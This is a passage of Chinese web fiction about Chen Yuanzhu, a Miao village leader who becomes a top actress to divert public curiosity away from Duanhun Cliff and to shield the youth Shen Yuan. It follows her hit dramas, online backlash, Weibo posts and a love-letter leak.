张可可简直不敢相信自己的耳朵，兴奋得差点跳起来。她立刻上前一步，声音里带着难以掩饰的激动：“真的吗？你真的同意了？！放心，我一定不会让你失望的！我会让你成为最耀眼的明星！” 陈杬祝淡淡颔首，没有再多说什么，只是对着身后的护卫递了个眼神。那人立刻上前，递给张可可一张用苗寨特制树皮纸制作的名片，上面只印着一个烫金的“陈”字，旁边是一串隐秘的联系方式：“具体的合作细节，你可以联系我的助理。记住，我的身份，暂时不可对外透露。” “我一定会尽快安排好一切的！”张可可用力点了点头，看着陈杬祝转身离去的背影，眼底满是志在必得的光芒。 她终于找到了！找到了那个可以让她重回巅峰，甚至超越以往的人！ 陈杬祝坐进停在车库门口的黑色轿车里，车窗缓缓升起，隔绝了外面的一切。她靠在座椅上，看着窗外飞速倒退的风景，指尖轻轻摩挲着衣袖上的苗寨暗纹。 “小姐，您真的要答应她，进入娱乐圈吗？”坐在驾驶座上的护卫，声音里带着一丝不解，“这似乎与您的初衷不符。” “不过是借壳行事。”陈杬祝淡淡开口，眼底闪过一丝冷光，“外界对苗寨和断魂崖的窥探已经越来越深，与其被动防御，不如主动入局。张可可的流量，我的身份，正好可以织一张网，将所有不该有的窥探，都挡在外面。” 她顿了顿，目光望向远方，仿佛穿透了车壁，看到了那片云雾缭绕的断魂崖底：“至于沈怨……他只需要安安静静地待在崖底，做他的少年就好。” 轿车缓缓驶离地下车库，汇入城市的车水马龙之中。 而张可可站在原地，紧紧攥着那张特殊的名片，脸上的笑容得意又满足。她丝毫没有察觉到，自己不过是陈杬祝棋局中的一枚棋子，而这场看似光鲜的明星梦，从一开始，就带着苗寨最深的算计。 张可可的效率高得惊人。仅仅一周时间，她便为陈杬祝量身打造了一套“神秘古风美人”的人设，连名字都精心挑选了一个艺名——“杬祝”。 首秀定在一部投资上亿的古装仙侠剧《月落苗疆》中，陈杬祝饰演剧中隐于深山的苗寨圣女，戏份不多，却堪称全剧的灵魂。 开机那天，剧组所有人都以为这是张可可塞进来的“关系户”，直到陈杬祝换上戏服站在镜头前——月白苗裙换成了流仙白纱，银簪挽起长发，眉眼间的清冷与神秘被无限放大，往那里一站，便仿佛是从剧本里走出来的圣女本人。 第一场戏，是圣女于月下舞剑，为苍生祈福。没有替身，没有特效加持，陈杬祝的剑招行云流水，带着苗寨特有的灵动与凌厉，每一个转身，每一次扬剑，都精准地踩在镜头的节奏上。她的眼神，清冷中带着悲悯，仿佛真的背负着整个苗疆的命运。 导演当场喊停，激动得声音都在颤抖：“过！完美！这就是我要的圣女！” 剧组的演员们也看呆了，原本对她带着偏见的老戏骨，此刻也忍不住上前称赞：“杬祝小姐，你的演技，简直是浑然天成。” 陈杬祝只是淡淡颔首，没有丝毫得意。于她而言，演戏不过是一场需要精准把控的任务，她所展现的，不过是苗寨圣女应有的姿态。 《月落苗疆》播出后，瞬间引爆全网。陈杬祝饰演的圣女，仅凭几个镜头，便斩获了无数观众的喜爱。#杬祝 圣女# #月落苗疆意难平# 等话题接连霸占热搜，她的微博粉丝数一夜之间突破千万，直播间在线人数更是高达数亿。 观众们疯狂迷恋上这个神秘的“杬祝”，迷恋她的容颜，迷恋她的气质，更迷恋她那仿佛看透一切的眼神。张可可趁热打铁，为她接下了数个顶级代言，安排了多场线上直播。 直播中，陈杬祝依旧保持着清冷的姿态，不与粉丝过度互动，却总能精准地回答每一个问题。她偶尔会提起一些苗寨的风土人情，却从不说具体位置；偶尔会展示一些苗寨的手工艺品，却从不说出处。 这份神秘，让粉丝们对她的喜爱更甚。有人说她是“从画中走出的仙子”，有人说她是“隐于娱乐圈的高人”，甚至有人专门为她成立了后援会，名字就叫“护祝团”。 陈杬祝的大火，也让张可可彻底翻身。她的公司市值暴涨，她本人也成为了娱乐圈最炙手可热的经纪人。所有人都以为，张可可终于找到了自己的“摇钱树”，却没有人知道，陈杬祝才是这场棋局的真正掌控者。 一次直播结束后，陈杬祝坐在保姆车里，看着窗外粉丝们疯狂的应援灯牌，眼底闪过一丝冷光。 “小姐，现在外界对您的关注度已经达到了顶峰。”坐在驾驶座上的护卫低声汇报，“按照您的吩咐，我们已经通过您的直播，成功引导舆论，将大家的注意力从断魂崖底，转移到了您的身上。现在已经很少有人再提及‘崖底守护者’，更多的人，都在讨论您饰演的圣女。” “很好。”陈杬祝淡淡开口，指尖轻轻摩挲着衣袖上的苗寨暗纹，“继续保持。张可可那边，让她按照计划行事。” “是。”护卫恭敬地应道。 陈杬祝抬眼，望向远方，仿佛穿透了车壁，看到了那片云雾缭绕的断魂崖底。她的大火，不过是为了给沈怨和许祭，筑起一道最坚固的屏障。 外界的窥探越烈，她的光芒便越盛。当所有人的目光都聚焦在她身上时，便不会有人再去打扰那个只想和许祭一起看发光蘑菇的少年。 《月落苗疆》的庆功宴上，陈杬祝一袭红裙，艳压全场。她手捧最佳新人奖，站在领奖台上，声音清冷却坚定：“感谢大家的喜爱。我只是一个演员，只想演好每一个角色。” 台下掌声雷动，张可可看着台上光芒万丈的陈杬祝，脸上露出了得意的笑容。她以为自己掌控了一切，却不知道，自己不过是陈杬祝手中的一枚棋子。 宴会结束后，陈杬祝坐进轿车，脱下了那身华丽的红裙，换上了熟悉的月白苗裙。 “小姐，接下来我们要去哪里？”护卫问道。 “回苗寨。”陈杬祝淡淡开口，“外界的风浪，已经够了。是时候回去，看看罗囡囡那边，有没有什么新的动静了。” 轿车缓缓驶离庆功宴现场，汇入城市的车水马龙之中。 而远在断魂崖底的沈怨，正拉着许祭的手，蹲在溪边捞萤石。他的腰间，铜铃叮当作响，上面挂着那枚张可可送的徽章，在月光下，泛着淡淡的蓝光。 他丝毫不知道，有一个素不相识的苗寨掌权者，正在用自己的光芒，守护着他的平静生活。 没有人知道，陈杬祝的大火，不过是一场精心策划的守护。也没有人知道，当她的目的达成时，她会如何潇洒地转身，回归属于自己的苗寨深处。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 陈杬祝的爆火并非昙花一现。在《月落苗疆》的热度尚未褪去时，张可可便为她接下了一部大女主古装剧——《黎盼古城》。 这一次，陈杬祝不再是惊鸿一瞥的配角，而是饰演剧名女主姬黎盼。剧中的姬黎盼，是黎盼古城最后的守将之女，国破家亡之际，她以女子之身扛起守城重任，却因“牺牲全城老弱换取生机”的决绝抉择，背负了千古骂名。剧本人设极致复杂，既有巾帼不让须眉的刚烈，又有身不由己的悲怆，对演员的演技是极大的考验。 张可可为陈杬祝量身定制的“神秘戏骨”人设，在此刻发挥了最大效用。开机发布会现场，陈杬祝身着剧中姬黎盼的墨色铠甲，眉眼间的清冷被凌厉取代，一句“黎盼古城在，姬黎盼在”，瞬间将观众带入剧情。 剧集播出初期，口碑一路走高。陈杬祝将姬黎盼的挣扎与坚韧演绎得入木三分——城破前夜，她独上城楼饮酒，眼中是家国破碎的痛，是无人理解的孤；守城之时，她挥剑斩敌，铠甲染血，却在看到百姓流离时，眼底闪过一丝不忍。观众们疯狂为她的演技买单，#陈杬祝 姬黎盼# #黎盼古城封神# 等话题接连霸占热搜。 然而，当剧情推进到姬黎盼弃老弱、守精锐的核心情节时，风向陡转。 一些断章取义的片段被疯狂转发，营销号带节奏称“姬黎盼冷血无情”“视老弱性命如草芥”。很快，一场声势浩大的网暴席卷而来。 微博、抖音、豆瓣等平台，充斥着对姬黎盼的谩骂，甚至有人将对角色的不满，转移到了演员陈杬祝身上。 【陈杬祝滚出娱乐圈！演什么冷血女主！】 【姬黎盼就是个刽子手！陈杬祝怎么敢接这种角色！】 【原来之前的圣女都是装的！陈杬祝本人肯定也这么冷血！】 更有甚者，扒出了陈杬祝“神秘背景”的蛛丝马迹，造谣她是“资本力捧的关系户”，骂她“德不配位”。张可可的公司电话被打爆，陈杬祝的私人社交账号下，满是不堪入目的评论。 张可可急得焦头烂额，连夜召开紧急会议，提出要发声明澄清，甚至要删减剧情，都被陈杬祝淡淡否决。 “不必。”陈杬祝坐在保姆车中，指尖轻轻摩挲着衣袖上的苗寨暗纹，目光平静地看着窗外疯狂的应援灯牌与谩骂的标语，“这是角色必经的命运，也是我入局的意义。” 她的护卫站在一旁，声音里带着一丝担忧：“小姐，外界的舆论已经愈演愈烈，再这样下去，恐怕会影响到您的计划。” “影响？”陈杬祝的嘴角勾起一抹极淡的弧度，“这正是我想要的。姬黎盼的骂名，能让更多人沉浸在剧情中，而不是去窥探我的身份，窥探苗寨，窥探断魂崖。” 她顿了顿，补充道：“通知张可可，按原计划播出，我要亲自下场回应。” 当晚，陈杬祝的微博账号，时隔多日再次更新。没有长篇大论的澄清，只有一张《黎盼古城》的剧本截图，配文： “姬黎盼的刀，斩的是敌寇，护的是黎民。她的决绝，是城破之时的无奈，是国亡之际的孤勇。你可以不理解她，但请不要否定她的坚守。” 这条微博，瞬间引爆全网。 一部分理智的观众开始反思剧情，为姬黎盼鸣不平；一部分粉丝被陈杬祝的清醒与坚定圈粉，纷纷留言“姐姐说得对！”“我们永远支持你！”；而那些激进的网暴者，在陈杬祝的坦荡面前，反而显得理屈词穷。 《黎盼古城》的收视率不仅没有下降，反而一路飙升。大结局当晚，姬黎盼守得古城光复，却选择卸甲归田，独守青灯古佛。陈杬祝的最后一场戏，没有一句台词，只有一个转身的背影，却道尽了一生的沧桑与释然。 剧集收官，#姬黎盼 意难平# #陈杬祝 演技封神# 等话题再次霸占热搜。陈杬祝的粉丝数突破五千万，成为娱乐圈当之无愧的顶流。而那场轰轰烈烈的网暴，最终变成了她演艺生涯的一块垫脚石，让她的“演技派”标签更加深入人心。 庆功宴上，陈杬祝一袭素色长裙，手捧“最佳女主角”奖杯，站在领奖台上，声音清冷却坚定：“感谢姬黎盼，让我读懂了坚守的意义。也感谢所有观众，无论是喜爱还是质疑，都让这个角色更加完整。” 台下掌声雷动，张可可看着台上光芒万丈的陈杬祝，脸上露出了得意的笑容。她以为自己掌控了一切，却不知道，陈杬祝早已将这场网暴，变成了守护苗寨与断魂崖的又一道屏障。 宴会结束后，陈杬祝坐进轿车，脱下了那身华丽的礼服，换上了熟悉的月白苗裙。 “小姐，接下来我们要去哪里？”护卫问道。 “回苗寨。”陈杬祝淡淡开口，“外界的风浪，已经够了。是时候回去，看看罗囡囡那边，有没有什么新的动静了。” 轿车缓缓驶离庆功宴现场，汇入城市的车水马龙之中。 而远在断魂崖底的沈怨，正拉着许祭的手，蹲在溪边捞萤石。他的腰间，铜铃叮当作响，上面挂着那枚沈怨自己珍藏的徽章，在月光下，泛着淡淡的蓝光。 他丝毫不知道，有一个素不相识的苗寨掌权者，正在用自己的光芒与隐忍，守护着他的平静生活。 没有人知道，陈杬祝的大火与被网暴，不过是一场精心策划的守护。也没有人知道，当她的目的达成时，她会如何潇洒地转身，回归属于自己的苗寨深处。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 陈杬祝回到苗寨的第三天，正值苗寨一年一度的花山节。漫山遍野的杜鹃开得如火如荼，族人们穿着盛装，吹着芦笙，围着篝火载歌载舞。 沈怨是被许祭带着，应罗囡囡的邀请来苗寨参加花山节的。少年穿着一身红色的短打苗服，腰间的铜铃叮当作响，上面挂着的那枚徽章在阳光下闪着淡淡的蓝光。他正追着一只色彩斑斓的蝴蝶，跑得上气不接下气，许祭则跟在他身后，手里拿着一串刚烤好的糍粑，眼底满是温柔。 陈杬祝站在梨花园的回廊上，看着不远处那个笑得眉眼弯弯的少年，眼底闪过一丝极淡的暖意。她的护卫适时递上一部特制的手机——这是她唯一与外界相连的工具，也是她掌控舆论的关键。 张可可已经催了她无数次，让她发一条微博维持热度。陈杬祝原本无意理会，可此刻看着沈怨的身影，心中突然有了一个念头。 她缓步走下回廊，朝着沈怨的方向走去。少年看到她，停下追逐蝴蝶的脚步，歪着头看了看她身上的月白苗裙，又看了看自己的红装，脆生生地问：“你是谁呀？你穿的衣服和我不一样，但是很好看！” “陈杬祝。”她淡淡开口，声音里难得带了一丝柔和，“我是苗寨人。” 许祭的目光瞬间落在陈杬祝身上，周身的寒气悄然升起。他认出了她身上的暗纹——那是苗寨掌权者独有的标识。 陈杬祝没有理会许祭的警惕，只是对着沈怨扬了扬手中的手机：“我可以和你拍一张合照吗？” 沈怨看了看许祭，见许祭没有反对，便用力点了点头，蹦蹦跳跳地跑到陈杬祝身边，还不忘拉上许祭：“许祭哥哥也要一起！” 陈杬祝微微颔首。她站在沈怨身侧，许祭则站在沈怨的另一边，三人的身影被定格在镜头里。照片中，沈怨笑得灿烂，眼睛弯成了月牙，许祭的眼底带着淡淡的温柔，而陈杬祝依旧清冷，却在眉眼间藏了一丝不易察觉的柔和。背景是漫山的杜鹃，火红的花瓣与沈怨的红装相映成趣。 当晚，陈杬祝的微博账号——@杬祝，时隔半月再次更新。 没有配文，只有一张三人的合照。 微博发出的瞬间，直接引爆了全网。 服务器瞬间瘫痪，#杬祝 合照# #杬祝 神秘少年# #黎盼古城姬黎盼 现实好友# 等话题以光速冲上热搜，相关讨论量在一小时内突破十亿。 粉丝们疯狂刷屏，评论区瞬间被淹没。 【卧槽！这张合照也太绝了吧！红衣少年好可爱！青衣小哥哥好温柔！】 【杬祝姐姐的眼神好柔和！这是她第一次在照片里笑吧？】 【这个少年是谁？和杬祝姐姐是什么关系？是亲戚吗？】 【青衣小哥哥好眼熟！是不是之前那个崖底守护者？】 张可可看到这条微博时，激动得差点把手机扔出去。她立刻安排团队下场引导舆论，将话题引向“杬祝的神秘亲友”“苗寨的绝美风光”，绝口不提“断魂崖”“沈怨”等关键词。 陈杬祝的护卫看着后台疯狂上涨的热度，低声汇报：“小姐，外界的关注度已经达到了顶峰。大家都在猜测您和沈怨、许祭的关系，没有人再去窥探断魂崖的秘密了。” “很好。”陈杬祝淡淡开口，指尖轻轻划过手机屏幕上的合照，“这条微博，既可以维持我的热度，又可以让所有人都知道，沈怨是我护着的人。” 她顿了顿，补充道：“通知张可可，按原计划推进。” “是。” 许祭看着沈怨手中的手机——那是陈杬祝特意留给沈怨的，上面只有一个微博软件，关注的人只有@杬祝。沈怨正兴奋地刷着评论，嘴里还念念有词：“他们都说我可爱！还说许祭哥哥温柔！” 许祭的眼底闪过一丝复杂的光芒。他知道，陈杬祝这是在以她的方式，守护着沈怨。那一张合照，就是一道无形的屏障，将所有不该有的窥探，都挡在了外面。 远在都市的张可可，看着微博上疯狂上涨的粉丝数和话题度，脸上露出了得意的笑容。她以为自己终于摸透了陈杬祝的心思，却不知道，自己依旧是对方棋局中的一枚棋子。 而沈怨，依旧是那个无忧无虑的少年。他看着照片里的自己和许祭，又看了看照片里的陈杬祝，脆生生地对许祭说：“许祭哥哥，陈杬祝姐姐真好看！下次花山节，我们还要和她一起拍照！” “好。”许祭轻轻揉了揉他的头发，声音里带着化不开的温柔。 月光洒在苗寨的吊脚楼上，洒在梨花园的回廊上，也洒在断魂崖底的溪流上。 陈杬祝站在回廊上，看着远方的夜空，眼底闪过一丝冷光。她的计划正在一步步推进，而沈怨，只需要安安静静地做他的少年，和许祭一起，看发光的蘑菇，听小鸟唱歌。 没有人知道，这张看似简单的合照，背后藏着怎样的算计与守护。也没有人知道，陈杬祝的下一步，会走向何方。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 陈杬祝回到苗寨梨花园的第七天，窗外的杜鹃开得正盛，漫山火红似燃。她指尖划过特制手机里的相册，停留在一张未对外公开的照片上—— 那是沈怨的背影。少年穿着红色短打苗服，腰间铜铃随着脚步轻轻晃动，挂在铃上的徽章闪着细碎蓝光。他正拉着许祭的手，朝着断魂崖的方向走去，夕阳将两人的身影拉得很长，崖底的薄雾漫上来，模糊了身后的一切，只留下少年雀跃的姿态，仿佛连风都带着笑意。 没有丝毫犹豫，陈杬祝点开微博后台，将这张背影照上传。 这一次，她没有保持沉默，而是敲下了一行简短的文案： 阿怨我只希望你开心 微博发出的瞬间，比上一次的合照更甚，全网直接陷入沸腾。服务器连续三次瘫痪，#杬祝 阿怨# #杬祝 文案破防# #红衣少年背影# 等话题以断层式速度冲上热搜榜首，相关讨论量在半小时内突破十五亿。 粉丝们的评论瞬间刷屏，理智与情感交织，满屏都是破防的声音： 【阿怨……原来他叫阿怨！这个称呼也太温柔了吧！】 【背影好治愈啊！他牵着的人一定是那个青衣小哥哥吧！】 【杬祝姐姐的文案看哭我了！这不是流量，是真心的祝福啊！】 【终于懂了！姐姐之前的所有操作，都是为了守护这个叫阿怨的少年！】 【谁都不许去打扰阿怨！他开心就好！这是姐姐的心愿！】 张可可看到这条微博时，终于彻底明白了陈杬祝的心思。她立刻安排团队下场引导舆论，将话题引向“顶流的温柔守护”“藏在聚光灯下的真心”，既维持了热度，又巧妙地将所有人的注意力聚焦在陈杬祝的“温柔人设”与对阿怨的守护上，绝口不提任何可能牵扯断魂崖的信息。 陈杬祝的护卫看着后台数据，声音里带着难掩的激动：“小姐，外界的舆论已经完全被我们掌控！现在所有人都在讨论您对阿怨的守护，没有人再去窥探断魂崖的秘密，甚至连‘崖底守护者’的说法都快被人遗忘了！张可可那边传来消息，已有数十部顶级剧本、国际代言向您抛来橄榄枝，热度比《黎盼古城》播出时更胜一筹。” 陈杬祝没有抬头，依旧看着手机里的那张背影照，眼底闪过一丝极淡的暖意。她轻轻摩挲着屏幕，声音清冷却带着一丝不易察觉的坚定：“很好。这才是我想要的结果。” 她顿了顿，补充道：“通知张可可，接下来的工作，按原计划全力推进。剧本优先选择带有‘守护’‘传承’内核的角色，代言需符合苗寨隐于世间的调性，所有行程安排，需预留出每月回苗寨的时间。” “是！”护卫恭敬应下，心中已然明了——小姐的明星生涯不仅不会停止，反而会以更盛的姿态继续下去。聚光灯下的顶流身份，本就是她守护苗寨与沈怨的最佳武器，热度越盛，屏障便越坚固。 远在断魂崖底，沈怨正趴在许祭的膝盖上，玩着他指间的薄茧。少年的腰间，铜铃叮当作响，徽章在月光下闪着蓝光。他的手机里，依旧只有一个微博软件，关注的人只有@杬祝。 当他刷到陈杬祝的新微博时，歪着头想了想，脆生生地对许祭说：“许祭哥哥，陈杬祝姐姐发我的背影啦！她说希望我开心！我现在超开心的！” 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：“嗯，阿怨开心就好。” 他抬头，望向苗寨的方向，眼底闪过一丝复杂的光芒。他知道，陈杬祝会继续站在聚光灯下，用自己的顶流热度，为沈怨筑起一道最坚固、最温柔的屏障。从今往后，再也不会有人敢轻易窥探断魂崖底，再也不会有人敢打扰他们的平静生活。 远在都市的张可可，看着微博上疯狂上涨的粉丝数和清一色的好评，看着源源不断的顶级资源，脸上露出了志在必得的笑容。她终于明白，陈杬祝的明星之路，从来都不是为了自己，而是为了守护。而她，将是这条路上最得力的推手。 月光洒在梨花园的回廊上，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝站在梨花园的回廊上，看着远方的夜空，眼底的冷光渐渐褪去，只剩下一片平静。她的计划正在以更完美的姿态推进，聚光灯下的顶流身份，将成为她长久的守护铠甲。而沈怨，只需要安安静静地做他的少年，和许祭一起，看发光的蘑菇，听小鸟唱歌。 没有人知道，这条看似简单的微博，背后藏着怎样的算计与守护。也没有人知道，陈杬祝继续站在聚光灯下的背后，是怎样的一份坚定。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 而微博的评论区里，还在疯狂刷屏着同一句话： 【愿阿怨永远开心，愿杬祝姐姐星途璀璨，顺遂无忧。】 在“阿怨我只希望你开心”的微博热度尚未完全褪去时，张可可便为陈杬祝敲定了一部现代都市情感剧——《你是我的怨雨》。 剧名中的“怨”与“雨”，恰好与“阿怨”形成巧妙的呼应，剧本内核更是精准踩中了陈杬祝一直传递的“守护”主题。剧中，陈杬祝饰演的女主角苏怨雨，是一位隐于都市的心理医生，她外表清冷，内心却藏着不为人知的柔软。她的人生轨迹，因遇到一个患有创伤后应激障碍、性格孤僻的少年而改变。苏怨雨没有选择用激烈的方式介入少年的生活，而是以润物细无声的温柔，一点点治愈他的伤口，守护他重新找回生活的光亮。 这部剧的官宣，本身就是一场热度风暴。#杬祝 新剧你是我的怨雨# #苏怨雨阿怨梦幻联动# 等话题瞬间霸占热搜，粉丝们疯狂解读剧名与角色的深意，纷纷表示“这是杬祝姐姐写给阿怨的一封温柔情书”。 开机仪式上，陈杬祝身着简约的白色风衣，长发披肩，眉眼间的清冷与苏怨雨的气质完美契合。面对媒体的提问，她只淡淡说了一句：“苏怨雨的守护，是沉默的，也是坚定的。” 剧集拍摄期间，陈杬祝将苏怨雨的复杂与温柔演绎得入木三分。她没有刻意煽情，却总能在细微之处打动人心——少年第一次对她露出笑容时，她眼底一闪而过的欣慰；少年因噩梦惊醒时，她默默递上的一杯温牛奶；少年终于走出阴影，奔向新生活时，她站在原地，嘴角带着释然的微笑，眼底却藏着一丝不易察觉的落寞。 尤其是剧中的一场重头戏：苏怨雨为了保护少年，不惜与自己的恩师反目，她站在雨中，眼神坚定地说：“我不在乎世人如何评价我，我只希望他能开心地活下去。”这句话，与她微博上的文案如出一辙，瞬间让观众破防。 《你是我的怨雨》播出后，直接引爆了整个暑期档。收视率连续数周稳居榜首，网络播放量突破三百亿，相关话题的讨论量更是高达百亿。陈杬祝饰演的苏怨雨，成为了无数观众心中的“白月光”，她的“温柔守护”人设，被演绎到了极致。 粉丝们疯狂为她打call，评论区满是感动与支持： 【苏怨雨就是杬祝姐姐的化身吧！她对少年的守护，就像她对阿怨的守护一样！】 【这句话直接破防了！“我只希望他能开心地活下去”，这就是最纯粹的守护啊！】 【杬祝姐姐的演技真的封神了！一个眼神，一个动作，都充满了故事感！】 【从此，温柔守护有了名字，那就是苏怨雨，也是陈杬祝！】 张可可趁热打铁，为陈杬祝接下了多个国际顶级代言，安排了多场线上线下的粉丝见面会。每一次公开亮相，陈杬祝都保持着清冷而温柔的姿态，她从不提及阿怨的具体情况，却总能在不经意间传递出对守护的理解。 剧集收官当晚，#你是我的怨雨大结局# #苏怨雨意难平# #陈杬祝 演技天花板# 等话题再次霸屏热搜。大结局中，苏怨雨选择继续留在都市，用自己的专业知识，守护更多需要帮助的人。这个开放式的结局，让观众们意犹未尽，纷纷呼吁拍摄第二部。 庆功宴上，陈杬祝一袭香槟色长裙，手捧“年度最佳女主角”奖杯，站在领奖台上，声音清冷却坚定：“感谢苏怨雨，让我再次读懂了守护的意义。也感谢所有观众，让这份温柔的守护，被更多人看见。” 台下掌声雷动，张可可看着台上光芒万丈的陈杬祝，脸上露出了志在必得的笑容。她知道，陈杬祝的明星之路，已经走向了新的高峰，而这份高峰，将成为守护阿怨的最坚固的屏障。 宴会结束后，陈杬祝坐进保姆车，指尖划过手机里沈怨的背影照。她的护卫低声汇报：“小姐，《你是我的怨雨》的爆火，让您的国际知名度大幅提升。现在，外界对您的关注度已经达到了前所未有的高度，所有人都在讨论您的演技和您的温柔守护，没有人再去窥探断魂崖的秘密了。” “很好。”陈杬祝淡淡开口，眼底闪过一丝极淡的暖意，“通知张可可，接下来的工作，继续按原计划推进。我要让这份‘守护’，成为我最鲜明的标签。” “是！” 远在断魂崖底，沈怨正拉着许祭的手，蹲在溪边捞萤石。少年的腰间，铜铃叮当作响，徽章在月光下闪着蓝光。他的手机里，依旧只有一个微博软件，关注的人只有@杬祝。 当他刷到陈杬祝获得“年度最佳女主角”的消息时，脆生生地对许祭说：“许祭哥哥，陈杬祝姐姐得奖啦！她演的苏怨雨好厉害！我以后也要像她一样，守护许祭哥哥！” 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：“好，阿怨的守护，是许祭哥哥最珍贵的礼物。” 他抬头，望向苗寨的方向，眼底闪过一丝复杂的光芒。他知道，陈杬祝会继续站在聚光灯下，用自己的顶流热度，为沈怨筑起一道永恒的、温柔的屏障。 月光洒在都市的车水马龙之中，洒在苗寨的梨花园里，也洒在断魂崖底的溪流上。 陈杬祝的明星生涯，依旧在璀璨地继续着。她的每一部作品，都带着“守护”的内核；她的每一次公开亮相，都在传递着温柔的力量。 没有人知道，这位顶流女星的背后，藏着怎样的一份来自苗寨的责任，藏着怎样的一份对少年的守护。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 而微博的评论区里，还在疯狂刷屏着同一句话： 【愿阿怨永远开心，愿杬祝姐姐星途璀璨，温柔永在。】 陈杬祝结束《你是我的怨雨》庆功宴的深夜，刚回到苗寨梨花园的居所，窗外正飘着淅淅沥沥的小雨，打在回廊的芭蕉叶上，发出沙沙的轻响。 她指尖划过特制手机的屏幕，停留在相册里一张沈怨的侧影照——少年正蹲在溪边，专注地看着水底的萤石，红衣的衣角沾了些许露水，腰间的铜铃安静地垂着，徽章在月光下泛着淡淡的蓝光。 没有丝毫犹豫，陈杬祝点开微博后台，上传了这张照片。 这一次，她的文案依旧简短，却多了一个特殊的符号： 雨夜，宜思念 @阿怨 微博发出的瞬间，全网再次陷入狂欢。服务器直接瘫痪十分钟，#杬祝 @阿怨# #杬祝 雨夜思念# #阿怨微博账号# 等话题以断层式速度冲上热搜，相关讨论量在一小时内突破二十亿。 粉丝们疯狂刷屏，评论区瞬间被淹没，满是激动与温柔的留言： 【卧槽！姐姐竟然@了阿怨！这是什么神仙互动！】 【雨夜宜思念！谁懂啊！这个文案和照片也太配了！】 【阿怨有没有微博啊！快出来和姐姐互动一下！】 【这是我见过最温柔的顶流！她的思念，全是对阿怨的守护！】 张可可看到这条微博时，激动得差点从床上跳起来。她立刻安排团队下场引导舆论，将话题引向“顶流的温柔思念”“藏在细节里的守护”，同时巧妙地回避了“阿怨是否有微博”的问题，既维持了热度，又保护了沈怨的隐私。 陈杬祝的护卫看着后台数据，声音里带着难掩的激动：“小姐，外界的关注度已经达到了前所未有的高度！现在所有人都在讨论您对阿怨的思念，没有人再去窥探断魂崖的秘密了！张可可那边传来消息，已有多家国际影视公司向您抛来橄榄枝，希望与您合作。” 陈杬祝没有抬头，依旧看着手机里的那张侧影照，眼底闪过一丝极淡的暖意。她轻轻摩挲着屏幕，声音清冷却带着一丝不易察觉的坚定：“很好。通知张可可，接下来的工作，继续按原计划推进。” “是！” 远在断魂崖底，沈怨正窝在许祭的怀里，听着窗外的雨声，睡得正香。少年的腰间，铜铃叮当作响，徽章在月光下闪着蓝光。他的手机里，依旧只有一个微博软件，关注的人只有@杬祝。 第二天清晨，沈怨醒来的第一件事，就是拿起手机刷微博。当他看到陈杬祝的新微博时，眼睛瞬间亮了起来，他推了推身边的许祭，脆生生地说：“许祭哥哥，陈杬祝姐姐@我了！她说雨夜宜思念！” 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：“嗯，阿怨也可以给姐姐回一条哦。” 沈怨点了点头，笨拙地在评论区打下一行字：【陈杬祝姐姐，我也想你啦！崖底的雨也很好听！】 这条评论瞬间被粉丝们顶到了热评第一，点赞量在十分钟内突破千万。 【啊啊啊！是阿怨！真的是阿怨！】 【阿怨的声音好可爱！崖底的雨一定很好听吧！】 【双向奔赴的思念！这是什么神仙情谊！】 【愿阿怨永远开心，愿杬祝姐姐永远被温柔以待！】 远在都市的张可可，看着微博上疯狂上涨的粉丝数和清一色的好评，看着源源不断的顶级资源，脸上露出了志在必得的笑容。她知道，陈杬祝的明星之路，已经走向了新的高峰，而这份高峰，将成为守护阿怨的最坚固的屏障。 月光洒在梨花园的回廊上，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝的明星生涯，依旧在璀璨地继续着。她的每一条微博，都带着对阿怨的温柔思念；她的每一部作品，都带着“守护”的内核。 没有人知道，这位顶流女星的背后，藏着怎样的一份来自苗寨的责任，藏着怎样的一份对少年的守护。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 而微博的评论区里，还在疯狂刷屏着同一句话： 【愿阿怨永远开心，愿杬祝姐姐星途璀璨，思念皆有回应。】 陈杬祝凭借《你是我的怨雨》横扫各大颁奖礼，星途正盛之际，一场突如其来的“旧闻风暴”毫无征兆地席卷了全网。 有人在一个早已废弃的小众论坛，扒出了一组十年前的手写情书照片。发帖人匿名，文案只有一句：「顶流陈杬祝的青春往事，收件人：沈司南。」 照片里的信纸，是苗寨特有的树皮纸，上面的字迹清丽隽秀，与陈杬祝如今微博上的签名隐隐相合。情书中没有炽热的告白，只有细碎的日常与隐晦的牵挂——「今日梨花园的杜鹃开了，比去年更艳，你说过喜欢这火红的颜色」「寨里的老人说，铜铃能护佑平安，我偷偷给你做了一枚，不知你是否收到」「司南，山高路远，愿你岁岁平安，事事顺遂」。 帖子发出不过半小时，便被营销号疯狂转发。#陈杬祝 情书# #沈司南是谁# #杬祝 青春往事# 等话题以雷霆之势冲上热搜，服务器连续五次瘫痪，全网陷入前所未有的热议。 粉丝们炸开了锅，理智粉试图维护偶像，却架不住吃瓜群众的好奇与激进粉的崩溃： 【沈司南是谁？是阿怨吗？还是那个青衣小哥哥？】 【原来姐姐也有这么温柔的青春！这字迹也太好看了吧！】 【不会吧不会吧！难道姐姐对阿怨的守护，是因为沈司南？】 【求扒沈司南！他到底是什么身份？和姐姐是什么关系？】 张可可的电话被打爆，她一边紧急联系团队压热搜，一边疯狂拨打陈杬祝的电话，声音里满是慌乱：「杬祝！这到底是怎么回事？沈司南是谁？我们必须立刻发声明澄清！」 陈杬祝彼时正在苗寨梨花园的回廊上，手中正摩挲着一枚与情书中描述相似的铜铃。她看着手机里的热搜，眼底没有丝毫慌乱，只有一丝淡淡的怅惘。 